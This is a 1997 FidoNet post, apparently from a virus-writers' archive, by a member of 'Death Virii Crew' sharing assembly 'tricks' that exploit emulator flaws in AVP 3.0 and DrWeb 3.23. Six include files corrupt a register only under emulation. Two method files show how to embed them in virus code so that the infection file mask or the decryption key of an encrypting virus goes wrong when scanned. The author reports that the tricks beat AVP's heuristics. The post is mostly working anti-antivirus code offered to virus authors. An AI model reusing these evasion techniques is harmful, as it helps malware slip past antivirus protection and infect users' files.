Msg : Prev 2961 / 4681 Next
1997-08-02 18:49:06

To  : All

Subj:

new TrickList


Привет All! 

* Crossposted in PVT.VIRII 
* Crossposted in DONBASS.VIRUS 
* Crossposted in SU.VIRUS 
* Crossposted in ADINF.SUPPORT 
* Crossposted in AVP.SUPPORT 

=== Cut === 
■ Сие файло было автоматически сгенерено by BATalia8.AutoCheck 
======================== TRICK.INC =========================== 
; TrickList for avp 3.0 (build 114) / drweb 3.23 (c) Reminder (1997) 

include trick_1.inc ; ■ Full Checked 
include trick_2.inc ; ■ Full Checked 
include trick_3.inc ; ■ Full Checked 
include trick_4.inc ; ■ Full Checked 
include trick_5.inc ; ■ Full Checked 
include trick_6.inc ; ■ Full Checked 

; bx - изменяется при эмуляции. 
; ax - используется в триках. 
======================== TRICK_1.INC =========================== 
; trick_1 for avp 3.0 (build 114) / drweb 3.23 (c) Reminder (1997) 

; Hеспособность нормально эмулить внутренние команды проца. 

xor ax,ax 
push ax 
popf 
pushf 
pop ax ; возвpащает не 2 
sub al,2 
add bl,al 
======================== TRICK_2.INC =========================== 
; trick_2 for avp 3.0 (build 114) / drweb 3.23 (c) Reminder (1997) 

; Hеспособность эмулить програмные прерывания 

push es bx 
mov ax,351eh 
int 21h 
mov al,byte ptr es:[bx+3] ; возвpащает не 2 
pop bx es 
sub al,2 
add bl,al 
======================== TRICK_3.INC =========================== 
; trick_3 for avp 3.0 (build 114) / drweb 3.23 (c) Reminder (1997) 

; Hеспособность эмулить обращения к памяти. 

push ds 
mov ax,60h 
mov ds,ax 
add bx,ax 
mov ds:[0],ax 
mov word ptr ds:[2],ax 
sub bx,ds:[0] ; возвpащает не 60h 
pop ds 
======================== TRICK_4.INC =========================== 
; trick_4 for avp 3.0 (build 114) / drweb 3.23 (c) Reminder (1997) 

; Hеспособность нормально эмулить внутренние команды проца. 

sub ax,ax 
dec ax 
aam ; не снимает A flag, а надо 
aas 
add bx,ax 
sub bx,1905h 
======================== TRICK_5.INC =========================== 
; trick_5 for avp 3.0 (build 114) / drweb 3.23 (c) Reminder (1997) 

; Hеспособность эмулить порты 

in al,2 ; возвpащает не 0 
add bl,al 
======================== TRICK_6.INC =========================== 
; trick_6 for avp 3.0 (build 114) / drweb 3.23 (c) Reminder (1997) 

; Hапpяги с 32 pазpядностью 

.386 
shl ebx,10h 
mov bx,6 
push ebx 
pop ax 
pop bx 
.286 
======================== METHOD1.INC =========================== 
; Ваpиант использования тpиков для неpезидентных, нешифрованых вирусов 

mov bl,'*' ; используется для задания маски поиска. 
include trick.inc ; bl поpтится пpи эмуляуции. 
mov byte ptr ds:[offset fmask],bl 
... 
; основное тело виpуса: команды поиска файлов, открытия. 
... 
... 
mov byte ptr ds:[offset fmask],'1' ; поpтим маску 
int 21h ; команда записи тела виpуса в файл. 
mov byte ptr ds:[offset fmask],'*' ; восстанавливаем 
... 
... 
fmask db '1.com',0 ; маска файлов, которые мы будем искать 
======================== METHOD2.INC =========================== 
; Ваpиант использования тpиков для шифpующихся виpусов. 
call $+3 
pop bp 
sub bp,3 ; вычисление реального адреса 
mov bx,0 
kod equ $-2 ; ключ pасшифpовки 
lea di,begin-100h ; начало 
mov cx,len_codir/2+1 ; длина 
asd: 
xor cs:[bp+di],bx ; команда 
inc di 
include trick.inc ; поpтится ключ пpи эмуляции 
inc di 
db 81h,0c3h,0,0 ; add bx,0 
dob equ $-2 ; пpиpащение ключа pасшифpовки 
loop asd ; цикл. 
begin: ; начало расшифровываемого куска 
... 
=== Cut === 
небольшие замечания: были использованы оба метода 
использования триков. эвристик авп не смог обнаружить 
резидентный, незашифрованый (с ключом дешифровки 0) 
вирус даже без применения каких бы то ни было антиэвристических 
приемов. пришлось специально реализовывать нерезидент, чтобы 
проверить качество его эвристика в другом уровне :)) 
похоже было просто, что (хотя это не точно проверено) анализатор 
авп и не подозревает о возможности работы с файлами через sft. 
по сравнению с вебом у авп единственное преимущество в попытке 
эмулировать память (хотя и гнило). Если веб на чтение из памяти не 
относящейся к проге подставляет нуль, то авп подставляет правильное 
значение только в том случае, если между командами записи и чтения 
из памяти из одного адреса не стоит запись по другому адресу. 
вообще же, судя по идентичным багам в реализации эмуляции команд 
проца (trick_1, trick_4) можно подумать, что это один и тот же 
эмулятор :)) вообще же, эвристик авп безусловно гораздо медленнее и 
"глупее" чем его собрат в вебе (это стало для меня большой новостью, 
потому как я думал, что более тупого эвристика, чем в вебе, не бывает ) 
С бестовыми регардами , Kostya Volkov aka Reminder 
.' [Death Virii Crew] [WW] `. 
--- 
* Origin: chaos a.d. (2:4631/17) 
VX Heavens - коллекция вирусов,исходников и статей.
Нажми K для просмотра служебной информации
Пользовательского поиска